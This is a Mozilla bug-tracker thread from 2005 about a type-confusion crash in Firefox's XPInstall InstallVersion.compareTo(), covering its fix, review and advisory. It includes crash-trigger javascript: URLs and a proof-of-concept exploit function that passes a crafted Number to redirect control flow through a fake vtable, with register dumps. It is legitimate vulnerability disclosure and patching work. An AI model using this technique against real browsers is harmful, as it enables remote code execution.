User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Build Identifier: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050528 Firefox/1.0+ (2005052806) Reproducible: Always Steps to Reproduce: 1. navigate the browser to javascript: (new InstallVersion()).compareTo(/x/); Actual Results: the browser crashes. Expected Results: do not crash and fail softly. FIREFOX caused an invalid page fault in module XPINSTAL.DLL at 015f:60056d04.

http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=2&type=iid&id=TB6213056H Stack Signature ConvertJSValToObj 17af286a Product ID MozillaTrunk Build ID 2005052706 Trigger Time 2005-05-29 01:51:03.0 Platform Win32 Operating System Windows 98 4.10 build 67766222 Module XPINSTAL.DLL + (00006c0d) URL visited javascript: (new InstallVersion()).compareTo(/x/); User Comments Bug 295854 (new InstallVersion()).compareTo(/x/) crashes Since Last Crash 146 sec Total Uptime 146 sec Trigger Reason Access violation Source File, Line No. c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp, line 308 Stack Trace ConvertJSValToObj [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp, line 308] InstallVersionCompareTo [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstallVersion.cpp, line 470] js_Invoke [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c, line 1182] js_Interpret [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c, line 3473] js_Execute [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c, line 1413] JS_EvaluateUCScriptForPrincipals [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsapi.c, line 3793] nsJSContext::EvaluateString [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/base/nsJSEnvironment.cpp, line 1037] nsJSThunk::EvaluateScript [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp, line 255] nsJSChannel::InternalOpen [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp, line 508] nsJSChannel::AsyncOpen [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp, line 480] nsURILoader::OpenURI [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/uriloader/base/nsURILoader.cpp, line 878] nsDocShell::DoChannelLoad [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp, line 6580] nsDocShell::DoURILoad [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp, line 6438] nsDocShell::InternalLoad [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp, line 6205] nsWebShell::OnLinkClickSync [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp, line 552] OnLinkClickEvent::HandleEvent [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp, line 348] PL_HandleEvent [c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpcom/threads/plevent.c, line 699] 0x778b0c24

TB6213255E for me

5 Talkbacks Trunk and Branch: http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=1&searchby=comments&match=contains&searchfor=295854&vendor=All&product=All&platform=All&buildid=&sdate=&stime=&edate=&etime=&sortby=bbid crash also seen before fixing of Bug 290162 crash in InstallTrigger.install.call

dougt: cvs blame blames you 812 #define JSCLASS_HAS_PRIVATE (1<<0) /* objects have private slot */ 813 #define JSCLASS_NEW_ENUMERATE (1<<1) /* has JSNewEnumerateOp hook */ 814 #define JSCLASS_NEW_RESOLVE (1<<2) /* has JSNewResolveOp hook */ 815 #define JSCLASS_PRIVATE_IS_NSISUPPORTS (1<<3) /* private is (nsISupports *) */ JSCLASS_HAS_PRIVATE does not mean PRIVATE_IS_NSISUPPORTS.

dougt: wrong blame. http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstall.cpp&mark=303-308&rev=1.116#308 http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstallVersion.cpp&mark=458-470&rev=1.23#470 note that i'm backing out some silly changes brendan made with context which should make it clear *why* i'm backing them out. they aren't strictly related to this bug, but those code changes introduced poor error reporting for cases which the code already handled. if someone really cares, they can be split into another bug.

[SECURITY ALERT] This bug is possibly remotely exploitable if the address of the heap memory is predictable (depends on OS/libc/etc...).

function exploitCode() { var xxAddress = 0x00400000; // // struct vtbl { void (*code)(void); }; // struct data { struct vtbl *pvtbl; }; // // struct data *pdata = (struct data *)(xxAddress & ~0x01); // pdata->pvtbl->code(pdata); // (new InstallVersion).compareTo(new Number(xxAddress >> 1)); } ----- On my machine (Firefox 1.0.4/Win98): // struct data *pdata = (struct data *)(xxAddress & ~0x01); dwords@0x00400000 = { 0x00905a4d, 0x00000003, 0x00000004, 0x0000ffff }; // struct vtbl *pvtbl = pdata->vtbl; dwords@0x00905a4d = { 0xfdfffdff, 0xfd2822ff, 0xfdfffdff, 0xfdfffdff }; FIREFOX caused an invalid page fault in module <unknown> at 0000:fdfffdff. Registers: EAX=00400000 CS=015f EIP=fdfffdff EFLGS=00010246 EBX=00000000 SS=0167 ESP=00c9e968 EBP=00c9ea80 ECX=00905a4d DS=0167 ESI=01788c18 FS=570f EDX=600bd628 ES=0167 EDI=0288c900 GS=0000 Bytes at CS:EIP: Stack dump: 60047112 00400000 6005c914 00c9eb60 02a3cef4 018fd1e4 00c9e9b4 60095104 0288c900 017c4a70 600b3574 00cccf32 00000000 00000000 00000004 00000000 ----- The attacker can construct fake data/vtbl structures on the heap and its address can be given to the buggy code using JavaScript Number object (only when he/she can predict the address of the fake data).

Nominating for bug bounty

Comment on attachment 184810 [details] [diff] [review] use nsisupports marking This patch was given r- over IRC, the main bit of the patch should use JS_InstanceOf() and only try to convert an object of the expected type.

Comment on attachment 184810 [details] [diff] [review] use nsisupports marking This patch was given r- over IRC, the main bit of the patch should use JS_InstanceOf() and only try to convert an object of the expected type.

Comment on attachment 184810 [details] [diff] [review] use nsisupports marking > // public int AddDirectory(String version); --OR-- VersionInfo version > > if(JSVAL_IS_OBJECT(argv[0])) What I was getting at was change the above to if (JSVAL_IS_OBJECT(argv[0]) && JS_InstanceOf(cx, JSVAL_TO_OBJECT(argv[0]), &InstallVersionClass, nsnull)) If you like you could instead change the ConvertJSValToObj() function to take the JSClass structure instead of the string typename and do the instance check in the converter. You'd get the string for the error messages from the JSClass struct. If anyone else were calling that function that's what I'd want you to do, but nsJSInstallVersion is the only consumer.

Timeless: Please take a look and see if you can get a new patch reviewed soon. Thanks.

Comment on attachment 186432 [details] [diff] [review] use JS_InstanceOf r/sr=dveditz a=dveditz for branch landing

Comment on attachment 186432 [details] [diff] [review] use JS_InstanceOf r/sr=dveditz a=dveditz for branch landing

Sorry for the double-submit, bugzilla returned a 500 error so I thought the first didn't go through.

> (In reply to comment #14) > Created an attachment (id=186432) [edit] > use JS_InstanceOf InstallVersionClass also needs JSCLASS_PRIVATE_IS_NSISUPPORTS flag. http://lxr.mozilla.org/seamonkey/source/xpinstall/src/nsJSInstallVersion.cpp#74 There are some unused prototype declarations of ConvertJSValToObj(). These declarations should be updated or removed to prevent confusion. http://lxr.mozilla.org/seamonkey/ident?i=ConvertJSValToObj

if things ever need the function, the prototype really should be moved to a header file.

Comment on attachment 186452 [details] [diff] [review] remove extra definitions r/sr/a=dveditz

Comment on attachment 186450 [details] [diff] [review] nsisupports marker r/sr/a=dveditz

Comment on attachment 186432 [details] [diff] [review] use JS_InstanceOf mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.24 mozilla/xpinstall/src/nsJSInstall.cpp 1.117 MOZILLA_1_7_BRANCH mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.19.94.2 mozilla/xpinstall/src/nsJSInstall.cpp 1.105.16.3 AVIARY_1_0_1_20050124_BRANCH mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.19.108.2 mozilla/xpinstall/src/nsJSInstall.cpp 1.105.20.1.2.2

Comment on attachment 186450 [details] [diff] [review] nsisupports marker mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.25 MOZILLA_1_7_BRANCH mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.19.94.3 AVIARY_1_0_1_20050124_BRANCH mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.19.108.3

Comment on attachment 186452 [details] [diff] [review] remove extra definitions mozilla/xpinstall/src/nsJSWinReg.cpp 1.18 mozilla/xpinstall/src/nsJSWinProfile.cpp 1.13 mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp 1.45 mozilla/xpinstall/src/nsJSFileSpecObj.cpp 1.8 mozilla/xpinstall/src/nsJSFile.cpp 1.38 MOZILLA_1_7_BRANCH mozilla/xpinstall/src/nsJSWinReg.cpp 1.15.34.2 mozilla/xpinstall/src/nsJSWinProfile.cpp 1.9.34.3 mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp 1.35.2.6 mozilla/xpinstall/src/nsJSFileSpecObj.cpp 1.5.34.2 mozilla/xpinstall/src/nsJSFile.cpp 1.33.28.3 AVIARY_1_0_1_20050124_BRANCH mozilla/xpinstall/src/nsJSWinReg.cpp 1.15.48.2 mozilla/xpinstall/src/nsJSWinProfile.cpp 1.9.48.3 mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp 1.35.6.4.2.4 mozilla/xpinstall/src/nsJSFileSpecObj.cpp 1.5.48.2 mozilla/xpinstall/src/nsJSFile.cpp 1.33.42.3

javascript: (new InstallVersion()).compareTo(null); still crashes.

> (In reply to comment #14) > Created an attachment (id=186432) > use JS_InstanceOf | JSClass InstallClass = { | "Install", |- JSCLASS_HAS_PRIVATE, |+ JSCLASS_HAS_PRIVATE | JSCLASS_PRIVATE_IS_NSISUPPORTS, | JS_PropertyStub, | JS_PropertyStub, | GetInstallProperty, I think that this change caused bug 298054. InstallClass's private data is nsInstall*, which is not XPCOM object and hence does not expose nsISupports interface. Such invalid flag confuses nsScriptSecurityManager::doGetObjectPrincipal(). http://lxr.mozilla.org/seamonkey/source/caps/src/nsScriptSecurityManager.cpp#199 6

Comment on attachment 186542 [details] [diff] [review] handle null r/sr=dveditz

shutdown: mail to you is bouncing, please contact chofmann@mozilla.org

v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050706 Firefox/1.0.5 using proof-of-concept...nothing bad happens.

javascript: (new InstallVersion()).compareTo(null); null argument case is not fixed. Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050706 Firefox/1.0+

(In reply to comment #32) > javascript: (new InstallVersion()).compareTo(null); > null argument case is not fixed. Thanks for catching this. This leads to a null de-ref crash that should not be exploitable, but timeless is going to check in the forgotten patch.

Comment on attachment 186542 [details] [diff] [review] handle null a=jay for landing on trunk and branches (driver mtg)

Comment on attachment 186542 [details] [diff] [review] handle null mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.26 MOZILLA_1_7_BRANCH mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.19.94.4 AVIARY_1_0_1_20050124_BRANCH mozilla/xpinstall/src/nsJSInstallVersion.cpp 1.19.108.4

Adding distributors

Security advisories published

Why is the severity in the advisory set to 'Moderate'? Isn't this vulnerability can be potentially exploited for automatic remote code execution? Are you waiting for an exploit in the wild before you set it to an higher severity?

in-testsuite-: InstallVersion is no more.